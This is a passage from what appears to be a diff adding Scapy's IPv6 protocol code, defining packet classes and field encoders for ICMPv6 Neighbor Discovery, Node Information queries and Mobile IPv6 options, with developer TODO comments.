plain_str(x) # Decode bytes to string + res = [] + while x: + # Get a name until \x00 is reached + cur = [] + while x and ord(x[0]) != 0: + tmp_len = ord(x[0]) + cur.append(x[1:tmp_len + 1]) + x = x[tmp_len + 1:] + if self.padded: + # Discard following \x00 in padded mode + if len(cur): + res.append(".".join(cur) + ".") + else: + # Store the current name + res.append(".".join(cur) + ".") + if x and ord(x[0]) == 0: + x = x[1:] + return res + + def i2m(self, pkt, x): + def conditionalTrailingDot(z): + if z and orb(z[-1]) == 0: + return z + return z + b'\x00' + # Build the encode names + tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501 + ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp) + + # In padded mode, add some \x00 bytes + if self.padded and not len(ret_string) % self.padded_unit == 0: + ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501 + + return ret_string + + +class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 + name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" + fields_desc = [ByteField("type", 31), + FieldLenField("len", None, length_of="searchlist", fmt="B", + adjust=lambda pkt, x: 1 + x // 8), + ShortField("res", None), + IntField("lifetime", 0xffffffff), + DomainNameListField("searchlist", [], + length_from=lambda pkt: 8 * pkt.len - 8, + padded=True) + ] + + def mysummary(self): + return self.sprintf("%name% " + ", ".join(self.searchlist)) + +# End of ICMPv6 Neighbor Discovery Options. + + +class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): + name = "ICMPv6 Neighbor Discovery - Router Solicitation" + fields_desc = [ByteEnumField("type", 133, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + IntField("res", 0)] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}} + + +class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): + name = "ICMPv6 Neighbor Discovery - Router Advertisement" + fields_desc = [ByteEnumField("type", 134, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + ByteField("chlim", 0), + BitField("M", 0, 1), + BitField("O", 0, 1), + BitField("H", 0, 1), + BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191 + BitField("P", 0, 1), + BitField("res", 0, 2), + ShortField("routerlifetime", 1800), + IntField("reachabletime", 0), + IntField("retranstimer", 0)] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + + def answers(self, other): + return isinstance(other, ICMPv6ND_RS) + + def mysummary(self): + return self.sprintf("%name% Lifetime %routerlifetime% " + "Hop Limit %chlim% Preference %prf% " + "Managed %M% Other %O% Home %H%") + + +class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): + name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" + fields_desc = [ByteEnumField("type", 135, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + IntField("res", 0), + IP6Field("tgt", "::")] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + + def mysummary(self): + return self.sprintf("%name% (tgt: %tgt%)") + + def hashret(self): + return bytes_encode(self.tgt) + self.payload.hashret() + + +class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): + name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" + fields_desc = [ByteEnumField("type", 136, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + BitField("R", 1, 1), + BitField("S", 0, 1), + BitField("O", 1, 1), + XBitField("res", 0, 29), + IP6Field("tgt", "::")] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + + def mysummary(self): + return self.sprintf("%name% (tgt: %tgt%)") + + def hashret(self): + return bytes_encode(self.tgt) + self.payload.hashret() + + def answers(self, other): + return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt + +# associated possible options : target link-layer option, Redirected header + + +class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): + name = "ICMPv6 Neighbor Discovery - Redirect" + fields_desc = [ByteEnumField("type", 137, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XIntField("res", 0), + IP6Field("tgt", "::"), + IP6Field("dst", "::")] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + + +# ICMPv6 Inverse Neighbor Discovery (RFC 3122) # + +class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" + fields_desc = [ByteField("type", 9), + FieldLenField("len", None, count_of="addrlist", fmt="B", + adjust=lambda pkt, x: 2 * x + 1), + StrFixedLenField("res", b"\x00" * 6, 6), + IP6ListField("addrlist", [], + length_from=lambda pkt: 8 * (pkt.len - 1))] + + +class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): + name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" + type = 10 + + +# RFC3122 +# Options requises : source lladdr et target lladdr +# Autres options valides : source address list, MTU +# - Comme precise dans le document, il serait bien de prendre l'adresse L2 +# demandee dans l'option requise target lladdr et l'utiliser au niveau +# de l'adresse destination ethernet si aucune adresse n'est precisee +# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes +# les options. +# Ether() must use the target lladdr as destination +class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): + name = "ICMPv6 Inverse Neighbor Discovery Solicitation" + fields_desc = [ByteEnumField("type", 141, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XIntField("reserved", 0)] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + +# Options requises : target lladdr, target address list +# Autres options valides : MTU + + +class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): + name = "ICMPv6 Inverse Neighbor Discovery Advertisement" + fields_desc = [ByteEnumField("type", 142, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XIntField("reserved", 0)] + overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} + + +############################################################################### +# ICMPv6 Node Information Queries (RFC 4620) +############################################################################### + +# [ ] Add automatic destination address computation using computeNIGroupAddr +# in IPv6 class (Scapy6 modification when integrated) if : +# - it is not provided +# - upper layer is ICMPv6NIQueryName() with a valid value +# [ ] Try to be liberal in what we accept as internal values for _explicit_ +# DNS elements provided by users. Any string should be considered +# valid and kept like it has been provided. At the moment, i2repr() will +# crash on many inputs +# [ ] Do the documentation +# [ ] Add regression tests +# [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501 +# [ ] Check if there are differences between different stacks. Among *BSD, +# with others. +# [ ] Deal with flags in a consistent way. +# [ ] Implement compression in names2dnsrepr() and decompresiion in +# dnsrepr2names(). Should be deactivable. + +icmp6_niqtypes = {0: "NOOP", + 2: "Node Name", + 3: "IPv6 Address", + 4: "IPv4 Address"} + + +class _ICMPv6NIHashret: + def hashret(self): + return bytes_encode(self.nonce) + + +class _ICMPv6NIAnswers: + def answers(self, other): + return self.nonce == other.nonce + +# Buggy; always returns the same value during a session + + +class NonceField(StrFixedLenField): + def __init__(self, name, default=None): + StrFixedLenField.__init__(self, name, default, 8) + if default is None: + self.default = self.randval() + + +@conf.commands.register +def computeNIGroupAddr(name): + """Compute the NI group Address. Can take a FQDN as input parameter""" + name = name.lower().split(".")[0] + record = chr(len(name)) + name + h = md5(record.encode("utf8")) + h = h.digest() + addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) + return addr + + +# Here is the deal. First, that protocol is a piece of shit. Then, we +# provide 4 classes for the different kinds of Requests (one for every +# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same +# data field class that is made to be smart by guessing the specific +# type of value provided : +# +# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, +# if not overridden by user +# - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, +# if not overridden +# - Name in the other cases: code is set to 0, if not overridden by user +# +# Internal storage, is not only the value, but the a pair providing +# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) +# +# Note : I merged getfield() and m2i(). m2i() should not be called +# directly anyway. Same remark for addfield() and i2m() +# +# -- arno + +# "The type of information present in the Data field of a query is +# declared by the ICMP Code, whereas the type of information in a +# Reply is determined by the Qtype" + +def names2dnsrepr(x): + """ + Take as input a list of DNS names or a single DNS name + and encode it in DNS format (with possible compression) + If a string that is already a DNS name in DNS format + is passed, it is returned unmodified. Result is a string. + !!! At the moment, compression is not implemented !!! + """ + + if isinstance(x, bytes): + if x and x[-1:] == b'\x00': # stupid heuristic + return x + x = [x] + + res = [] + for n in x: + termin = b"\x00" + if n.count(b'.') == 0: # single-component gets one more + termin += b'\x00' + n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin + res.append(n) + return b"".join(res) + + +def dnsrepr2names(x): + """ + Take as input a DNS encoded string (possibly compressed) + and returns a list of DNS names contained in it. + If provided string is already in printable format + (does not end with a null character, a one element list + is returned). Result is a list. + """ + res = [] + cur = b"" + while x: + tmp_len = orb(x[0]) + x = x[1:] + if not tmp_len: + if cur and cur[-1:] == b'.': + cur = cur[:-1] + res.append(cur) + cur = b"" + if x and orb(x[0]) == 0: # single component + x = x[1:] + continue + if tmp_len & 0xc0: # XXX TODO : work on that -- arno + raise Exception("DNS message can't be compressed at this point!") + cur += x[:tmp_len] + b"." + x = x[tmp_len:] + return res + + +class NIQueryDataField(StrField): + def __init__(self, name, default): + StrField.__init__(self, name, default) + + def i2h(self, pkt, x): + if x is None: + return x + t, val = x + if t == 1: + val = dnsrepr2names(val)[0] + return val + + def h2i(self, pkt, x): + if x is tuple and isinstance(x[0], int): + return x + + # Try IPv6 + try: + inet_pton(socket.AF_INET6, x.decode()) + return (0, x.decode()) + except Exception: + pass + # Try IPv4 + try: + inet_pton(socket.AF_INET, x.decode()) + return (2, x.decode()) + except Exception: + pass + # Try DNS + if x is None: + x = b"" + x = names2dnsrepr(x) + return (1, x) + + def i2repr(self, pkt, x): + t, val = x + if t == 1: # DNS Name + # we don't use dnsrepr2names() to deal with + # possible weird data extracted info + res = [] + while val: + tmp_len = orb(val[0]) + val = val[1:] + if tmp_len == 0: + break + res.append(plain_str(val[:tmp_len]) + ".") + val = val[tmp_len:] + tmp = "".join(res) + if tmp and tmp[-1] == '.': + tmp = tmp[:-1] + return tmp + return repr(val) + + def getfield(self, pkt, s): + qtype = getattr(pkt, "qtype") + if qtype == 0: # NOOP + return s, (0, b"") + else: + code = getattr(pkt, "code") + if code == 0: # IPv6 Addr + return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) + elif code == 2: # IPv4 Addr + return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) + else: # Name or Unknown + return b"", (1, s) + + def addfield(self, pkt, s, val): + if ((isinstance(val, tuple) and val[1] is None) or + val is None): + val = (1, b"") + t = val[0] + if t == 1: + return s + val[1] + elif t == 0: + return s + inet_pton(socket.AF_INET6, val[1]) + else: + return s + inet_pton(socket.AF_INET, val[1]) + + +class NIQueryCodeField(ByteEnumField): + def i2m(self, pkt, x): + if x is None: + d = pkt.getfieldval("data") + if d is None: + return 1 + elif d[0] == 0: # IPv6 address + return 0 + elif d[0] == 1: # Name + return 1 + elif d[0] == 2: # IPv4 address + return 2 + else: + return 1 + return x + + +_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} + +# _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", +# 8: "Link-local addresses", 16: "Site-local addresses", +# 32: "Global addresses" } + +# "This NI type has no defined flags and never has a Data Field". Used +# to know if the destination is up and implements NI protocol. + + +class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): + name = "ICMPv6 Node Information Query - NOOP Query" + fields_desc = [ByteEnumField("type", 139, icmp6types), + NIQueryCodeField("code", None, _niquery_code), + XShortField("cksum", None), + ShortEnumField("qtype", 0, icmp6_niqtypes), + BitField("unused", 0, 10), + FlagsField("flags", 0, 6, "TACLSG"), + NonceField("nonce", None), + NIQueryDataField("data", None)] + + +class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): + name = "ICMPv6 Node Information Query - IPv6 Name Query" + qtype = 2 + +# We ask for the IPv6 address of the peer + + +class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): + name = "ICMPv6 Node Information Query - IPv6 Address Query" + qtype = 3 + flags = 0x3E + + +class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): + name = "ICMPv6 Node Information Query - IPv4 Address Query" + qtype = 4 + + +_nireply_code = {0: "Successful Reply", + 1: "Response Refusal", + 3: "Unknown query type"} + +_nireply_flags = {1: "Reply set incomplete", + 2: "All unicast addresses", + 4: "IPv4 addresses", + 8: "Link-local addresses", + 16: "Site-local addresses", + 32: "Global addresses"} + +# Internal repr is one of those : +# (0, "some string") : unknown qtype value are mapped to that one +# (3, [ (ttl, ip6), ... ]) +# (4, [ (ttl, ip4), ... ]) +# (2, [ttl, dns_names]) : dns_names is one string that contains +# all the DNS names. Internally it is kept ready to be sent +# (undissected). i2repr() decode it for user. This is to +# make build after dissection bijective. +# +# I also merged getfield() and m2i(), and addfield() and i2m(). + + +class NIReplyDataField(StrField): + + def i2h(self, pkt, x): + if x is None: + return x + t, val = x + if t == 2: + ttl, dnsnames = val + val = [ttl] + dnsrepr2names(dnsnames) + return val + + def h2i(self, pkt, x): + qtype = 0 # We will decode it as string if not + # overridden through 'qtype' in pkt + + # No user hint, let's use 'qtype' value for that purpose + if not isinstance(x, tuple): + if pkt is not None: + qtype = pkt.qtype + else: + qtype = x[0] + x = x[1] + + # From that point on, x is the value (second element of the tuple) + + if qtype == 2: # DNS name + if isinstance(x, (str, bytes)): # listify the string + x = [x] + if isinstance(x, list): + x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501 + if x and isinstance(x[0], six.integer_types): + ttl = x[0] + names = x[1:] + else: + ttl = 0 + names = x + return (2, [ttl, names2dnsrepr(names)]) + + elif qtype in [3, 4]: # IPv4 or IPv6 addr + if not isinstance(x, list): + x = [x] # User directly provided an IP, instead of list + + def fixvalue(x): + # List elements are not tuples, user probably + # omitted ttl value : we will use 0 instead + if not isinstance(x, tuple): + x = (0, x) + # Decode bytes + if six.PY3 and isinstance(x[1], bytes): + x = (x[0], x[1].decode()) + return x + + return (qtype, [fixvalue(d) for d in x]) + + return (qtype, x) + + def addfield(self, pkt, s, val): + t, tmp = val + if tmp is None: + tmp = b"" + if t == 2: + ttl, dnsstr = tmp + return s + struct.pack("!I", ttl) + dnsstr + elif t == 3: + return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501 + elif t == 4: + return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501 + else: + return s + tmp + + def getfield(self, pkt, s): + code = getattr(pkt, "code") + if code != 0: + return s, (0, b"") + + qtype = getattr(pkt, "qtype") + if qtype == 0: # NOOP + return s, (0, b"") + + elif qtype == 2: + if len(s) < 4: + return s, (0, b"") + ttl = struct.unpack("!I", s[:4])[0] + return b"", (2, [ttl, s[4:]]) + + elif qtype == 3: # IPv6 addresses with TTLs + # XXX TODO : get the real length + res = [] + while len(s) >= 20: # 4 + 16 + ttl = struct.unpack("!I", s[:4])[0] + ip = inet_ntop(socket.AF_INET6, s[4:20]) + res.append((ttl, ip)) + s = s[20:] + return s, (3, res) + + elif qtype == 4: # IPv4 addresses with TTLs + # XXX TODO : get the real length + res = [] + while len(s) >= 8: # 4 + 4 + ttl = struct.unpack("!I", s[:4])[0] + ip = inet_ntop(socket.AF_INET, s[4:8]) + res.append((ttl, ip)) + s = s[8:] + return s, (4, res) + else: + # XXX TODO : implement me and deal with real length + return b"", (0, s) + + def i2repr(self, pkt, x): + if x is None: + return "[]" + + if isinstance(x, tuple) and len(x) == 2: + t, val = x + if t == 2: # DNS names + ttl, tmp_len = val + tmp_len = dnsrepr2names(tmp_len) + names_list = (plain_str(name) for name in tmp_len) + return "ttl:%d %s" % (ttl, ",".join(names_list)) + elif t == 3 or t == 4: + return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501 + return repr(val) + return repr(x) # XXX should not happen + +# By default, sent responses have code set to 0 (successful) + + +class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): + name = "ICMPv6 Node Information Reply - NOOP Reply" + fields_desc = [ByteEnumField("type", 140, icmp6types), + ByteEnumField("code", 0, _nireply_code), + XShortField("cksum", None), + ShortEnumField("qtype", 0, icmp6_niqtypes), + BitField("unused", 0, 10), + FlagsField("flags", 0, 6, "TACLSG"), + NonceField("nonce", None), + NIReplyDataField("data", None)] + + +class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): + name = "ICMPv6 Node Information Reply - Node Names" + qtype = 2 + + +class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): + name = "ICMPv6 Node Information Reply - IPv6 addresses" + qtype = 3 + + +class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): + name = "ICMPv6 Node Information Reply - IPv4 addresses" + qtype = 4 + + +class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): + name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" + code = 1 + + +class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): + name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" + code = 2 + + +def _niquery_guesser(p): + cls = conf.raw_layer + type = orb(p[0]) + if type == 139: # Node Info Query specific stuff + if len(p) > 6: + qtype, = struct.unpack("!H", p[4:6]) + cls = {0: ICMPv6NIQueryNOOP, + 2: ICMPv6NIQueryName, + 3: ICMPv6NIQueryIPv6, + 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer) + elif type == 140: # Node Info Reply specific stuff + code = orb(p[1]) + if code == 0: + if len(p) > 6: + qtype, = struct.unpack("!H", p[4:6]) + cls = {2: ICMPv6NIReplyName, + 3: ICMPv6NIReplyIPv6, + 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP) + elif code == 1: + cls = ICMPv6NIReplyRefuse + elif code == 2: + cls = ICMPv6NIReplyUnknown + return cls + + +############################################################################# +############################################################################# +# Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) # +############################################################################# +############################################################################# + +# Mobile IPv6 ICMPv6 related classes + +class ICMPv6HAADRequest(_ICMPv6): + name = 'ICMPv6 Home Agent Address Discovery Request' + fields_desc = [ByteEnumField("type", 144, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XShortField("id", None), + BitEnumField("R", 1, 1, {1: 'MR'}), + XBitField("res", 0, 15)] + + def hashret(self): + return struct.pack("!H", self.id) + self.payload.hashret() + + +class ICMPv6HAADReply(_ICMPv6): + name = 'ICMPv6 Home Agent Address Discovery Reply' + fields_desc = [ByteEnumField("type", 145, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XShortField("id", None), + BitEnumField("R", 1, 1, {1: 'MR'}), + XBitField("res", 0, 15), + IP6ListField('addresses', None)] + + def hashret(self): + return struct.pack("!H", self.id) + self.payload.hashret() + + def answers(self, other): + if not isinstance(other, ICMPv6HAADRequest): + return 0 + return self.id == other.id + + +class ICMPv6MPSol(_ICMPv6): + name = 'ICMPv6 Mobile Prefix Solicitation' + fields_desc = [ByteEnumField("type", 146, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XShortField("id", None), + XShortField("res", 0)] + + def _hashret(self): + return struct.pack("!H", self.id) + + +class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): + name = 'ICMPv6 Mobile Prefix Advertisement' + fields_desc = [ByteEnumField("type", 147, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XShortField("id", None), + BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}), + XBitField("res", 0, 14)] + + def hashret(self): + return struct.pack("!H", self.id) + + def answers(self, other): + return isinstance(other, ICMPv6MPSol) + +# Mobile IPv6 Options classes + + +_mobopttypes = {2: "Binding Refresh Advice", + 3: "Alternate Care-of Address", + 4: "Nonce Indices", + 5: "Binding Authorization Data", + 6: "Mobile Network Prefix (RFC3963)", + 7: "Link-Layer Address (RFC4068)", + 8: "Mobile Node Identifier (RFC4283)", + 9: "Mobility Message Authentication (RFC4285)", + 10: "Replay Protection (RFC4285)", + 11: "CGA Parameters Request (RFC4866)", + 12: "CGA Parameters (RFC4866)", + 13: "Signature (RFC4866)", + 14: "Home Keygen Token (RFC4866)", + 15: "Care-of Test Init (RFC4866)", + 16: "Care-of Test (RFC4866)"} + + +class _MIP6OptAlign(Packet): + """ Mobile IPv6 options have alignment requirements of the form x*n+y. + This class is inherited by all MIPv6 options to help in computing the + required Padding for that option, i.e. the need for a Pad1 or PadN + option before it. They only need to provide x and y as class + parameters. (x=0 and y=0 are used when no alignment is required)""" + + __slots__ = ["x", "y"] + + def alignment_delta(self, curpos): + x = self.x + y = self.y + if x == 0 and y == 0: + return 0 + delta = x * ((curpos - y + x - 1) // x) + y - curpos + return delta + + def extract_padding(self, p): + return b"", p + + +class MIP6OptBRAdvice(_MIP6OptAlign): + name = 'Mobile IPv6 Option - Binding Refresh Advice' + fields_desc = [ByteEnumField('otype', 2, _mobopttypes), + ByteField('olen', 2), + ShortField('rinter', 0)] + x = 2 + y = 0 # alignment requirement: 2n + + +class MIP6OptAltCoA(_MIP6OptAlign): + name = 'MIPv6 Option - Alternate Care-of Address' + fields_desc = [ByteEnumField('otype', 3, _mobopttypes), + ByteField('olen', 16), + IP6Field("acoa", "::")] + x = 8 + y = 6 # alignment requirement: 8n+6 + + +class MIP6OptNonceIndices(_MIP6OptAlign): + name = 'MIPv6 Option - Nonce Indices' + fields_desc = [ByteEnumField('otype', 4, _mobopttypes), + ByteField('olen', 16), + ShortField('hni', 0), + ShortField('coni', 0)] + x = 2 + y = 0 # alignment requirement: 2n + + +class MIP6OptBindingAuthData(_MIP6OptAlign): + name = 'MIPv6 Option - Binding Authorization Data' + fields_desc = [ByteEnumField('otype', 5, _mobopttypes), + ByteField('olen', 16), + BitField('authenticator', 0, 96)] + x = 8 + y = 2 # alignment requirement: 8n+2 + + +class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963 + name = 'NEMO Option - Mobile Network Prefix' + fields_desc = [ByteEnumField("otype", 6, _mobopttypes), + ByteField("olen", 18), + ByteField("reserved", 0), + ByteField("plen", 64), + IP6Field("prefix", "::")] + x = 8 + y = 4 # alignment requirement: 8n+4 + + +class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068 + name = "MIPv6 Option - Link-Layer Address (MH-LLA)" + fields_desc = [ByteEnumField("otype", 7, _mobopttypes), + ByteField("olen", 7), + ByteEnumField("ocode", 2, _rfc4068_lla_optcode), + ByteField("pad", 0), + MACField("lla", ETHER_ANY)] # Only support ethernet + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptMNID(_MIP6OptAlign): # RFC 4283 + name = "MIPv6 Option - Mobile Node Identifier" + fields_desc = [ByteEnumField("otype", 8, _mobopttypes), + FieldLenField("olen", None, length_of="id", fmt="B", + adjust=lambda pkt, x: x + 1), + ByteEnumField("subtype", 1, {1: "NAI"}), + StrLenField("id", "", + length_from=lambda pkt: pkt.olen - 1)] + x = 0 + y = 0 # alignment requirement: none + +# We only support decoding and basic build. Automatic HMAC computation is +# too much work for our current needs. It is left to the user (I mean ... +# you). --arno + + +class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5) + name = "MIPv6 Option - Mobility Message Authentication" + fields_desc = [ByteEnumField("otype", 9, _mobopttypes), + FieldLenField("olen", None, length_of="authdata", fmt="B", + adjust=lambda pkt, x: x + 5), + ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501 + 2: "MN-AAA authentication mobility option"}), # noqa: E501 + IntField("mspi", None), + StrLenField("authdata", "A" * 12, + length_from=lambda pkt: pkt.olen - 5)] + x = 4 + y = 1 # alignment requirement: 4n+1 + +# Extracted from RFC 1305 (NTP) : +# NTP timestamps are represented as a 64-bit unsigned fixed-point number, +# in seconds relative to 0h on 1 January 1900. The integer part is in the +# first 32 bits and the fraction part in the last 32 bits. + + +class NTPTimestampField(LongField): + def i2repr(self, pkt, x): + if x < ((50 * 31536000) << 32): + return "Some date a few decades ago (%d)" % x + + # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to + # January 1st 1970 : + delta = -2209075761 + i = int(x >> 32) + j = float(x & 0xffffffff) * 2.0**-32 + res = i + j + delta + t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res)) + + return "%s (%d)" % (t, x) + + +class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6) + name = "MIPv6 option - Replay Protection" + fields_desc = [ByteEnumField("otype", 10, _mobopttypes), + ByteField("olen", 8), + NTPTimestampField("timestamp", 0)] + x = 8 + y = 2 # alignment requirement: 8n+2 + + +class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6) + name = "MIPv6 option - CGA Parameters Request" + fields_desc = [ByteEnumField("otype", 11, _mobopttypes), + ByteField("olen", 0)] + x = 0 + y = 0 # alignment requirement: none + +# XXX TODO: deal with CGA param fragmentation and build of defragmented +# XXX version. Passing of a big CGAParam structure should be +# XXX simplified. Make it hold packets, by the way --arno + + +class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1) + name = "MIPv6 option - CGA Parameters" + fields_desc = [ByteEnumField("otype", 12, _mobopttypes), + FieldLenField("olen", None, length_of="cgaparams", fmt="B"), + StrLenField("cgaparams", "", + length_from=lambda pkt: pkt.olen)] + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2) + name = "MIPv6 option - Signature" + fields_desc = [ByteEnumField("otype", 13, _mobopttypes), + FieldLenField("olen", None, length_of="sig", fmt="B"), + StrLenField("sig", "", + length_from=lambda pkt: pkt.olen)] + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3) + name = "MIPv6 option - Home Keygen Token" + fields_desc = [ByteEnumField("otype", 14, _mobopttypes), + FieldLenField("olen", None, length_of="hkt", fmt="B"), + StrLenField("hkt", "", + length_from=lambda pkt: pkt.olen)] + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4) + name = "MIPv6 option - Care-of Test Init" + fields_desc = [ByteEnumField("otype", 15, _mobopttypes), + ByteField("olen", 0)] + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5) + name = "MIPv6 option - Care-of Test" + fields_desc = [ByteEnumField("otype", 16, _mobopttypes), + FieldLenField("olen", None, length_of="cokt", fmt="B"), + StrLenField("cokt", b'\x00' * 8, + length_from=lambda pkt: pkt.olen)] + x = 0 + y = 0 # alignment requirement: none + + +class MIP6OptUnknown(_MIP6OptAlign): + name = 'Scapy6 - Unknown Mobility Option' + fields_desc = [ByteEnumField("otype", 6, _mobopttypes), + FieldLenField("olen", None, length_of="odata", fmt="B"), + StrLenField("odata", "", + length_from=lambda pkt: pkt.olen)] + x = 0 + y = 0 # alignment requirement: none + + @classmethod + def dispatch_hook(cls, _pkt=None, *_, **kargs): + if _pkt: + o = orb(_pkt[0]) # Option type + if o in moboptcls: + return moboptcls[o] + return cls + + +moboptcls = {0: Pad1, + 1: PadN, + 2: MIP6OptBRAdvice, + 3: MIP6OptAltCoA, + 4: MIP6OptNonceIndices, + 5: MIP6OptBindingAuthData, + 6: MIP6OptMobNetPrefix, + 7: MIP6OptLLAddr, + 8: MIP6OptMNID, + 9: MIP6OptMsgAuth, + 10: MIP6OptReplayProtection, + 11: MIP6OptCGAParamsReq, + 12: MIP6OptCGAParams, + 13: MIP6OptSignature, + 14: MIP6OptHomeKeygenToken, + 15: MIP6OptCareOfTestInit, + 16: MIP6OptCareOfTest} + + +# Main Mobile IPv6 Classes + +mhtypes = {0: 'BRR', + 1: 'HoTI', + 2: 'CoTI', + 3: 'HoT', + 4: 'CoT', + 5: 'BU', + 6: 'BA', + 7: 'BE', + 8: 'Fast BU', + 9: 'Fast BA', + 10: 'Fast NA'} + +# From http://www.iana.org/assignments/mobility-parameters +bastatus = {0: 'Binding Update accepted', + 1: 'Accepted but prefix discovery necessary', + 128: 'Reason unspecified', + 129: 'Administratively prohibited', + 130: 'Insufficient resources', + 131: 'Home registration not supported', + 132: 'Not home subnet', + 133: 'Not home agent for this mobile node', + 134: 'Duplicate Address Detection failed', + 135: 'Sequence number out of window', + 136: 'Expired home nonce index', + 137: 'Expired care-of nonce index', + 138: 'Expired nonces', + 139: 'Registration type change disallowed', + 140: 'Mobile Router Operation not permitted', + 141: 'Invalid Prefix', + 142: 'Not Authorized for Prefix', + 143: 'Forwarding Setup failed (prefixes missing)', + 144: 'MIPV6-ID-MISMATCH', + 145: 'MIPV6-MESG-ID-REQD', + 146: 'MIPV6-AUTH-FAIL', + 147: 'Permanent home keygen token unavailable', + 148: 'CGA and signature verification failed', + 149: 'Permanent home keygen token exists', + 150: 'Non-null home nonce index expected'} + + +class _MobilityHeader(Packet): + name = 'Dummy IPv6 Mobility Header' + overload_fields = {IPv6: {"nh": 135}} + + def post_build(self, p, pay): + p += pay + tmp_len = 